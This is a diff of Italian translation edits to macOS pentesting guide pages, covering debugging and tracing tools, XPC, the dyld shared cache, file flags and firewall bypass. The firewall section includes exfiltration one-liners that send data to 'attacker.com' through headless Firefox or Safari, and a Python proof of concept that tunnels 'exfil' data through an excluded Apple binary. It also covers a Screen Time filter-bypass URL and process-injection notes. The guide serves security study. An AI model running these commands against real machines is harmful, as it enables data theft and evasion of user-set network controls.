@ -507,7 +507,7 @@ In macOS **i thread** possono essere manipolati tramite **Mach** o utilizzando *
|
||||
|
||||
Pertanto, per **migliorare il thread** dovrebbe chiamare **`pthread_create_from_mach_thread`** che **creerà un pthread valido**. Poi, questo nuovo pthread potrebbe **chiamare dlopen** per **caricare un dylib** dal sistema, quindi invece di scrivere nuovo shellcode per eseguire diverse azioni è possibile caricare librerie personalizzate.
|
||||
|
||||
Puoi trovare **esempi di dylibs** in (ad esempio quello che genera un log e poi puoi ascoltarlo):
|
||||
Puoi trovare **dylibs di esempio** in (ad esempio quello che genera un log e poi puoi ascoltarlo):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -805,7 +805,7 @@ In questa tecnica un thread del processo viene hijacked:
|
||||
|
||||
### Informazioni di base
|
||||
|
||||
XPC, che sta per XNU (il kernel utilizzato da macOS) inter-Process Communication, è un framework per **la comunicazione tra processi** su macOS e iOS. XPC fornisce un meccanismo per effettuare **chiamate a metodi sicure e asincrone tra diversi processi** sul sistema. Fa parte del paradigma di sicurezza di Apple, consentendo la **creazione di applicazioni separate per privilegi** in cui ogni **componente** viene eseguito con **solo i permessi necessari** per svolgere il proprio lavoro, limitando così il potenziale danno derivante da un processo compromesso.
|
||||
XPC, che sta per XNU (il kernel utilizzato da macOS) inter-Process Communication, è un framework per **la comunicazione tra processi** su macOS e iOS. XPC fornisce un meccanismo per effettuare **chiamate a metodi sicure e asincrone tra diversi processi** sul sistema. Fa parte del paradigma di sicurezza di Apple, consentendo la **creazione di applicazioni separate per privilegi** in cui ogni **componente** funziona con **solo i permessi necessari** per svolgere il proprio lavoro, limitando così il potenziale danno derivante da un processo compromesso.
|
||||
|
||||
Per ulteriori informazioni su come questa **comunicazione funziona** e su come potrebbe **essere vulnerabile**, controlla:
|
||||
|
||||
|
||||
@ -88,7 +88,7 @@ Questi installer hanno script bash `preinstall` e `postinstall` che gli autori d
|
||||
|
||||
### hdiutil
|
||||
|
||||
Questo strumento consente di **mount** le immagini disco Apple (**.dmg**) per ispezionarle prima di eseguire qualsiasi cosa:
|
||||
Questo strumento consente di **mount** i file immagine disco Apple (**.dmg**) per ispezionarli prima di eseguire qualsiasi cosa:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
@ -97,7 +97,7 @@ Sarà montato in `/Volumes`
|
||||
### Binarie impacchettate
|
||||
|
||||
- Controlla l'alta entropia
|
||||
- Controlla le stringhe (se ci sono quasi nessuna stringa comprensibile, impacchettato)
|
||||
- Controlla le stringhe (se non ci sono stringhe comprensibili, è impacchettato)
|
||||
- Il pacchetto UPX per MacOS genera una sezione chiamata "\_\_XHDR"
|
||||
|
||||
## Analisi statica di Objective-C
|
||||
@ -123,10 +123,10 @@ Quando una funzione viene chiamata in un binario che utilizza Objective-C, il co
|
||||
I parametri che questa funzione si aspetta sono:
|
||||
|
||||
- Il primo parametro (**self**) è "un puntatore che punta all'**istanza della classe che deve ricevere il messaggio**". In altre parole, è l'oggetto su cui viene invocato il metodo. Se il metodo è un metodo di classe, questo sarà un'istanza dell'oggetto classe (nel suo insieme), mentre per un metodo di istanza, self punterà a un'istanza instanziata della classe come oggetto.
|
||||
- Il secondo parametro, (**op**), è "il selettore del metodo che gestisce il messaggio". Ancora una volta, in termini più semplici, questo è solo il **nome del metodo.**
|
||||
- Il secondo parametro, (**op**), è "il selettore del metodo che gestisce il messaggio". In termini più semplici, questo è solo il **nome del metodo.**
|
||||
- I parametri rimanenti sono eventuali **valori richiesti dal metodo** (op).
|
||||
|
||||
Vedi come **ottenere facilmente queste informazioni con `lldb` in ARM64** in questa pagina:
|
||||
Vedi come **ottenere queste informazioni facilmente con `lldb` in ARM64** in questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
arm64-basic-assembly.md
|
||||
@ -135,13 +135,13 @@ arm64-basic-assembly.md
|
||||
x64:
|
||||
|
||||
| **Argomento** | **Registro** | **(per) objc_msgSend** |
|
||||
| ----------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1° argomento** | **rdi** | **self: oggetto su cui viene invocato il metodo** |
|
||||
| **2° argomento** | **rsi** | **op: nome del metodo** |
|
||||
| **3° argomento** | **rdx** | **1° argomento per il metodo** |
|
||||
| **4° argomento** | **rcx** | **2° argomento per il metodo** |
|
||||
| **5° argomento** | **r8** | **3° argomento per il metodo** |
|
||||
| **6° argomento** | **r9** | **4° argomento per il metodo** |
|
||||
| ------------------| -------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1° argomento** | **rdi** | **self: oggetto su cui viene invocato il metodo** |
|
||||
| **2° argomento** | **rsi** | **op: nome del metodo** |
|
||||
| **3° argomento** | **rdx** | **1° argomento per il metodo** |
|
||||
| **4° argomento** | **rcx** | **2° argomento per il metodo** |
|
||||
| **5° argomento** | **r8** | **3° argomento per il metodo** |
|
||||
| **6° argomento** | **r9** | **4° argomento per il metodo** |
|
||||
| **7°+ argomento** | <p><strong>rsp+</strong><br><strong>(sullo stack)</strong></p> | **5°+ argomento per il metodo** |
|
||||
|
||||
### Dump dei metadati di ObjectiveC
|
||||
@ -191,7 +191,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
||||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
[...]
|
||||
```
|
||||
Puoi trovare ulteriori informazioni su [**le informazioni memorizzate in queste sezioni in questo post del blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
|
||||
Puoi trovare ulteriori informazioni su [**le informazioni memorizzate in questa sezione in questo post del blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
|
||||
|
||||
Inoltre, **i binari Swift potrebbero avere simboli** (ad esempio, le librerie devono memorizzare simboli affinché le loro funzioni possano essere chiamate). I **simboli di solito contengono informazioni sul nome della funzione** e sugli attributi in un modo poco chiaro, quindi sono molto utili e ci sono "**demanglers"** che possono ottenere il nome originale:
|
||||
```bash
|
||||
@ -216,7 +216,7 @@ macOS espone alcune API interessanti che forniscono informazioni sui processi:
|
||||
- `proc_info`: Questo è il principale che fornisce molte informazioni su ciascun processo. Devi essere root per ottenere informazioni su altri processi, ma non hai bisogno di diritti speciali o porte mach.
|
||||
- `libsysmon.dylib`: Consente di ottenere informazioni sui processi tramite funzioni esposte da XPC, tuttavia, è necessario avere il diritto `com.apple.sysmond.client`.
|
||||
|
||||
### Stackshot & microstackshots
|
||||
### Stackshot e microstackshots
|
||||
|
||||
**Stackshotting** è una tecnica utilizzata per catturare lo stato dei processi, inclusi gli stack di chiamate di tutti i thread in esecuzione. Questo è particolarmente utile per il debug, l'analisi delle prestazioni e la comprensione del comportamento del sistema in un momento specifico. Su iOS e macOS, lo stackshotting può essere eseguito utilizzando diversi strumenti e metodi come gli strumenti **`sample`** e **`spindump`**.
|
||||
|
||||
@ -258,7 +258,7 @@ Inoltre, nella **parte centrale in basso puoi scrivere comandi python**.
|
||||
|
||||
#### Pannello destro
|
||||
|
||||
Nel pannello destro puoi vedere informazioni interessanti come la **cronologia di navigazione** (così sai come sei arrivato alla situazione attuale), il **grafico delle chiamate** dove puoi vedere tutte le **funzioni che chiamano questa funzione** e tutte le funzioni che **questa funzione chiama**, e informazioni sulle **variabili locali**.
|
||||
Nel pannello destro puoi vedere informazioni interessanti come la **cronologia di navigazione** (così sai come sei arrivato alla situazione attuale), il **grafo delle chiamate** dove puoi vedere tutte le **funzioni che chiamano questa funzione** e tutte le funzioni che **questa funzione chiama**, e informazioni sulle **variabili locali**.
|
||||
|
||||
### dtrace
|
||||
|
||||
@ -290,6 +290,8 @@ Una spiegazione più dettagliata e ulteriori esempi possono essere trovati in [h
|
||||
#### Esempi
|
||||
|
||||
Esegui `man -k dtrace` per elencare gli **script DTrace disponibili**. Esempio: `sudo dtruss -n binary`
|
||||
|
||||
- In linea
|
||||
```bash
|
||||
#Count the number of syscalls of each running process
|
||||
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
|
||||
@ -343,7 +345,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
|
||||
Strumenti come `latency`, `sc_usage`, `fs_usage` e `trace` lo utilizzano internamente.
|
||||
|
||||
Per interfacciarsi con `kdebug` si utilizza `sysctl` attraverso lo spazio dei nomi `kern.kdebug` e i MIB da utilizzare possono essere trovati in `sys/sysctl.h`, con le funzioni implementate in `bsd/kern/kdebug.c`.
|
||||
Per interfacciarsi con `kdebug`, si utilizza `sysctl` sul namespace `kern.kdebug` e i MIB da utilizzare possono essere trovati in `sys/sysctl.h`, con le funzioni implementate in `bsd/kern/kdebug.c`.
|
||||
|
||||
Per interagire con kdebug con un client personalizzato, questi sono solitamente i passaggi:
|
||||
|
||||
@ -361,7 +363,7 @@ Per ottenere queste informazioni è possibile utilizzare lo strumento Apple **`t
|
||||
|
||||
### ktrace
|
||||
|
||||
Le API `ktrace_*` provengono da `libktrace.dylib` che avvolgono quelle di `Kdebug`. Quindi, un client può semplicemente chiamare `ktrace_session_create` e `ktrace_events_[single/class]` per impostare callback su codici specifici e poi avviarlo con `ktrace_start`.
|
||||
Le API `ktrace_*` provengono da `libktrace.dylib`, che avvolgono quelle di `Kdebug`. Quindi, un client può semplicemente chiamare `ktrace_session_create` e `ktrace_events_[single/class]` per impostare callback su codici specifici e poi avviarlo con `ktrace_start`.
|
||||
|
||||
Puoi utilizzare questo anche con **SIP attivato**
|
||||
|
||||
@ -398,7 +400,7 @@ Devi monitorare il tuo mac con un comando come **`sudo eslogger fork exec rename
|
||||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) è uno strumento GUI con l'aspetto e la sensazione che gli utenti Windows potrebbero conoscere da _Procmon_ di Microsoft Sysinternal. Questo strumento consente di registrare vari tipi di eventi che possono essere avviati e fermati, consente il filtraggio di questi eventi per categorie come file, processo, rete, ecc., e fornisce la funzionalità di salvare gli eventi registrati in formato json.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) è uno strumento GUI con l'aspetto e la sensazione che gli utenti Windows potrebbero conoscere da _Procmon_ di Microsoft Sysinternal. Questo strumento consente di registrare vari tipi di eventi da avviare e fermare, consente il filtraggio di questi eventi per categorie come file, processo, rete, ecc., e fornisce la funzionalità di salvare gli eventi registrati in formato json.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
@ -438,7 +440,7 @@ settings set target.x86-disassembly-flavor intel
|
||||
> [!WARNING]
|
||||
> All'interno di lldb, esegui il dump di un processo con `process save-core`
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inizia l'esecuzione, che continuerà senza interruzioni fino a quando non viene colpito un breakpoint o il processo termina.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inizia l'esecuzione fermandosi al punto di ingresso</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegui la prossima istruzione. Questo comando salterà le chiamate di funzione.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegui la prossima istruzione. A differenza del comando nexti, questo comando entrerà nelle chiamate di funzione.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegui il resto delle istruzioni nella funzione corrente (“frame”) e ritorna e ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Metti in pausa l'esecuzione. Se il processo è stato eseguito (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualsiasi funzione chiamata main</p><p><code>b <binname>`main</code> #Funzione principale del bin</p><p><code>b set -n main --shlib <lib_name></code> #Funzione principale del bin indicato</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualsiasi metodo NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompi in tutte le funzioni di quella libreria</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Elenco dei breakpoint</p><p><code>br e/dis <num></code> #Abilita/Disabilita breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Visualizza la memoria come una stringa terminata da null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o dei metodi Objective-C di Apple restituiscono oggetti, e quindi dovrebbero essere visualizzati tramite il comando “print object” (po). Se po non produce un output significativo usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n <funcname> #Disassembla la funzione</p><p>dis -n <funcname> -b <basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 righe<br>dis -c 0x100003764 -e 0x100003768 # Da un indirizzo all'altro<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Stampa la mappa della memoria del processo corrente</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Ottieni l'indirizzo di tutti i simboli da CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inizia l'esecuzione, che continuerà senza interruzioni fino a quando non viene colpito un breakpoint o il processo termina.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inizia l'esecuzione fermandosi al punto di ingresso</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegui la prossima istruzione. Questo comando salterà le chiamate di funzione.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegui la prossima istruzione. A differenza del comando nexti, questo comando entrerà nelle chiamate di funzione.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegui il resto delle istruzioni nella funzione corrente (“frame”) e ritorna e ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Metti in pausa l'esecuzione. Se il processo è stato eseguito (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualsiasi funzione chiamata main</p><p><code>b <binname>`main</code> #Funzione principale del bin</p><p><code>b set -n main --shlib <lib_name></code> #Funzione principale del bin indicato</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualsiasi metodo NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompi in tutte le funzioni di quella libreria</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Elenco dei breakpoint</p><p><code>br e/dis <num></code> #Abilita/Disabilita il breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Visualizza la memoria come una stringa terminata da null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o dei metodi Objective-C di Apple restituiscono oggetti, e quindi dovrebbero essere visualizzati tramite il comando “print object” (po). Se po non produce un output significativo usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n <funcname> #Disassembla la funzione</p><p>dis -n <funcname> -b <basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 righe<br>dis -c 0x100003764 -e 0x100003768 # Da un indirizzo all'altro<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Stampa la mappa della memoria del processo corrente</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Ottieni l'indirizzo di tutti i simboli da CoreNLP</td></tr></tbody></table>
|
||||
|
||||
> [!TIP]
|
||||
> Quando chiami la funzione **`objc_sendMsg`**, il registro **rsi** contiene il **nome del metodo** come stringa terminata da null (“C”). Per stampare il nome tramite lldb fai:
|
||||
@ -450,7 +452,7 @@ settings set target.x86-disassembly-flavor intel
|
||||
>
|
||||
> `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
### Anti-Analisi Dinamica
|
||||
### Anti-Dynamic Analysis
|
||||
|
||||
#### Rilevamento VM
|
||||
|
||||
@ -571,7 +573,7 @@ litefuzz -lk -c "smbutil view smb://localhost:4455" -a tcp://localhost:4455 -i i
|
||||
# screensharingd (using pcap capture)
|
||||
litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash screensharingd -p -n 100000
|
||||
```
|
||||
### Maggiori informazioni sul Fuzzing MacOS
|
||||
### Maggiori informazioni sul Fuzzing di MacOS
|
||||
|
||||
- [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
- [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||
|
||||
@ -32,13 +32,13 @@ Conoscere il traffico consentito ti aiuterà a identificare i domini potenzialme
|
||||
```bash
|
||||
lsof -i TCP -sTCP:ESTABLISHED
|
||||
```
|
||||
### Abusare del DNS
|
||||
### Abusing DNS
|
||||
|
||||
Le risoluzioni DNS vengono effettuate tramite l'applicazione firmata **`mdnsreponder`** che probabilmente sarà autorizzata a contattare i server DNS.
|
||||
Le risoluzioni DNS vengono eseguite tramite l'applicazione firmata **`mdnsreponder`** che probabilmente sarà autorizzata a contattare i server DNS.
|
||||
|
||||
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
|
||||
### Tramite app del browser
|
||||
### Via Browser apps
|
||||
|
||||
- **oascript**
|
||||
```applescript
|
||||
@ -61,7 +61,7 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```bash
|
||||
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
### Via processi di iniezione
|
||||
### Iniezioni di processi
|
||||
|
||||
Se puoi **iniettare codice in un processo** che è autorizzato a connettersi a qualsiasi server, potresti bypassare le protezioni del firewall:
|
||||
|
||||
@ -75,10 +75,10 @@ macos-proces-abuse/
|
||||
## Vulnerabilità recenti di bypass del firewall di macOS (2023-2025)
|
||||
|
||||
### Bypass del filtro dei contenuti web (Screen Time) – **CVE-2024-44206**
|
||||
Nel luglio 2024 Apple ha corretto un bug critico in Safari/WebKit che ha interrotto il “filtro dei contenuti web” a livello di sistema utilizzato dai controlli parentali di Screen Time.
|
||||
Nel luglio 2024 Apple ha corretto un bug critico in Safari/WebKit che ha compromesso il “filtro dei contenuti web” a livello di sistema utilizzato dai controlli parentali di Screen Time.
|
||||
Un URI appositamente creato (ad esempio, con “://” codificato due volte) non è riconosciuto dall'ACL di Screen Time ma è accettato da WebKit, quindi la richiesta viene inviata senza filtri. Qualsiasi processo che può aprire un URL (incluso codice sandboxed o non firmato) può quindi raggiungere domini che sono esplicitamente bloccati dall'utente o da un profilo MDM.
|
||||
|
||||
Test pratico (sistema non aggiornato):
|
||||
Test pratico (sistema non patchato):
|
||||
```bash
|
||||
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
|
||||
# if the patch is missing Safari will happily load the page
|
||||
@ -96,7 +96,7 @@ sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
|
||||
Prima di macOS 11.2, la **`ContentFilterExclusionList`** consentiva a ~50 binari Apple come **`nsurlsessiond`** e l'App Store di bypassare tutti i firewall a filtro socket implementati con il framework Network Extension (LuLu, Little Snitch, ecc.).
|
||||
Il malware poteva semplicemente avviare un processo escluso—o iniettare codice in esso—e tunnelare il proprio traffico attraverso il socket già consentito. Apple ha completamente rimosso l'elenco di esclusione in macOS 11.2, ma la tecnica è ancora rilevante su sistemi che non possono essere aggiornati.
|
||||
|
||||
Esempio di prova di concetto (pre-11.2):
|
||||
Esempio di proof-of-concept (pre-11.2):
|
||||
```python
|
||||
import subprocess, socket
|
||||
# Launch excluded App Store helper (path collapsed for clarity)
|
||||
@ -113,7 +113,7 @@ s.send(b"exfil...")
|
||||
```bash
|
||||
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
|
||||
```
|
||||
2. Enumera i binari che già possiedono il diritto *outgoing-network* (utile per il piggy-backing):
|
||||
2. Enumera i binari che già possiedono il diritto *outgoing-network* (utile per piggy-backing):
|
||||
```bash
|
||||
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
|
||||
| plutil -extract com.apple.security.network.client xml1 -o - -
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
- **Le applicazioni di sistema** si trovano in `/System/Applications`
|
||||
- **Le applicazioni installate** sono solitamente installate in `/Applications` o in `~/Applications`
|
||||
- **I dati delle applicazioni** possono essere trovati in `/Library/Application Support` per le applicazioni in esecuzione come root e `~/Library/Application Support` per le applicazioni in esecuzione come utente.
|
||||
- I **daemon** delle applicazioni di terze parti che **devono essere eseguiti come root** si trovano solitamente in `/Library/PrivilegedHelperTools/`
|
||||
- Le **daemon** delle applicazioni di terze parti che **devono essere eseguite come root** si trovano solitamente in `/Library/PrivilegedHelperTools/`
|
||||
- Le app **sandboxed** sono mappate nella cartella `~/Library/Containers`. Ogni app ha una cartella denominata secondo l'ID del bundle dell'applicazione (`com.apple.Safari`).
|
||||
- Il **kernel** si trova in `/System/Library/Kernels/kernel`
|
||||
- **Le estensioni del kernel di Apple** si trovano in `/System/Library/Extensions`
|
||||
@ -77,7 +77,7 @@ macos-bundles.md
|
||||
|
||||
Su macOS (e iOS) tutte le librerie condivise di sistema, come framework e dylibs, sono **combinati in un unico file**, chiamato **dyld shared cache**. Questo migliora le prestazioni, poiché il codice può essere caricato più rapidamente.
|
||||
|
||||
Questo si trova in macOS in `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` e nelle versioni precedenti potresti trovare la **shared cache** in **`/System/Library/dyld/`**.\
|
||||
Questo si trova in macOS in `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` e nelle versioni più vecchie potresti trovare la **shared cache** in **`/System/Library/dyld/`**.\
|
||||
In iOS puoi trovarli in **`/System/Library/Caches/com.apple.dyld/`**.
|
||||
|
||||
Simile alla dyld shared cache, il kernel e le estensioni del kernel sono anche compilati in una cache del kernel, che viene caricata all'avvio.
|
||||
@ -108,7 +108,7 @@ Alcuni estrattori non funzioneranno poiché le dylibs sono precollegate con indi
|
||||
|
||||
Nota che anche se l'SLC è scivolato al primo utilizzo, tutti i **processi** utilizzano la **stessa copia**, il che **elimina la protezione ASLR** se l'attaccante è in grado di eseguire processi nel sistema. Questo è stato effettivamente sfruttato in passato e corretto con il pager della regione condivisa.
|
||||
|
||||
I branch pool sono piccole Mach-O dylibs che creano piccoli spazi tra le mappature delle immagini rendendo impossibile l'interposizione delle funzioni.
|
||||
I branch pool sono piccole dylibs Mach-O che creano piccoli spazi tra le mappature delle immagini rendendo impossibile l'interposizione delle funzioni.
|
||||
|
||||
### Override SLCs
|
||||
|
||||
@ -117,20 +117,20 @@ Utilizzando le variabili di ambiente:
|
||||
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Questo permetterà di caricare una nuova cache di librerie condivise.
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** e sostituire manualmente le librerie con symlink alla cache condivisa con quelle reali (dovrai estrarle).
|
||||
|
||||
## Special File Permissions
|
||||
## Permessi Speciali dei File
|
||||
|
||||
### Folder permissions
|
||||
### Permessi delle Cartelle
|
||||
|
||||
In una **cartella**, **la lettura** consente di **elencarla**, **la scrittura** consente di **eliminare** e **scrivere** file al suo interno, e **l'esecuzione** consente di **traversare** la directory. Quindi, ad esempio, un utente con **permesso di lettura su un file** all'interno di una directory in cui **non ha permesso di esecuzione** **non sarà in grado di leggere** il file.
|
||||
In una **cartella**, **la lettura** consente di **elencarla**, **la scrittura** consente di **eliminare** e **scrivere** file al suo interno, e **l'esecuzione** consente di **attraversare** la directory. Quindi, ad esempio, un utente con **permesso di lettura su un file** all'interno di una directory in cui non ha **permesso di esecuzione** **non sarà in grado di leggere** il file.
|
||||
|
||||
### Flag modifiers
|
||||
### Modificatori di Flag
|
||||
|
||||
Ci sono alcuni flag che possono essere impostati nei file che faranno comportare il file in modo diverso. Puoi **controllare i flag** dei file all'interno di una directory con `ls -lO /path/directory`
|
||||
|
||||
- **`uchg`**: Conosciuto come flag **uchange** impedirà **qualsiasi azione** di modifica o eliminazione del **file**. Per impostarlo fare: `chflags uchg file.txt`
|
||||
- L'utente root potrebbe **rimuovere il flag** e modificare il file.
|
||||
- **`restricted`**: Questo flag rende il file **protetto da SIP** (non puoi aggiungere questo flag a un file).
|
||||
- **`Sticky bit`**: Se una directory ha il bit sticky, **solo** il **proprietario della directory o root può rinominare o eliminare** file. Tipicamente questo è impostato sulla directory /tmp per impedire agli utenti normali di eliminare o spostare i file di altri utenti.
|
||||
- **`Sticky bit`**: Se una directory ha il bit sticky, **solo** il **proprietario della directory o root può rinominare o eliminare** file. Tipicamente questo è impostato sulla directory /tmp per impedire agli utenti ordinari di eliminare o spostare i file di altri utenti.
|
||||
|
||||
Tutti i flag possono essere trovati nel file `sys/stat.h` (trovalo usando `mdfind stat.h | grep stat.h`) e sono:
|
||||
|
||||
@ -138,7 +138,7 @@ Tutti i flag possono essere trovati nel file `sys/stat.h` (trovalo usando `mdfin
|
||||
- `UF_NODUMP` 0x00000001: Non eseguire il dump del file.
|
||||
- `UF_IMMUTABLE` 0x00000002: Il file non può essere modificato.
|
||||
- `UF_APPEND` 0x00000004: Le scritture nel file possono solo aggiungere.
|
||||
- `UF_OPAQUE` 0x00000008: La directory è opaca rispetto a union.
|
||||
- `UF_OPAQUE` 0x00000008: La directory è opaca rispetto all'unione.
|
||||
- `UF_COMPRESSED` 0x00000020: Il file è compresso (alcuni file system).
|
||||
- `UF_TRACKED` 0x00000040: Nessuna notifica per eliminazioni/rinominazioni per file con questo impostato.
|
||||
- `UF_DATAVAULT` 0x00000080: È richiesta un'autorizzazione per la lettura e la scrittura.
|
||||
@ -156,12 +156,12 @@ Tutti i flag possono essere trovati nel file `sys/stat.h` (trovalo usando `mdfin
|
||||
|
||||
### **File ACLs**
|
||||
|
||||
Le **ACL** dei file contengono **ACE** (Access Control Entries) dove possono essere assegnati permessi **più granulari** a diversi utenti.
|
||||
Le **ACLs** dei file contengono **ACE** (Access Control Entries) dove possono essere assegnati permessi più **granulari** a diversi utenti.
|
||||
|
||||
È possibile concedere a una **directory** questi permessi: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
|
||||
E a un **file**: `read`, `write`, `append`, `execute`.
|
||||
|
||||
Quando il file contiene ACL, troverai **un "+" quando elenchi i permessi come in**:
|
||||
Quando il file contiene ACLs troverai **un "+" quando elenchi i permessi come in**:
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
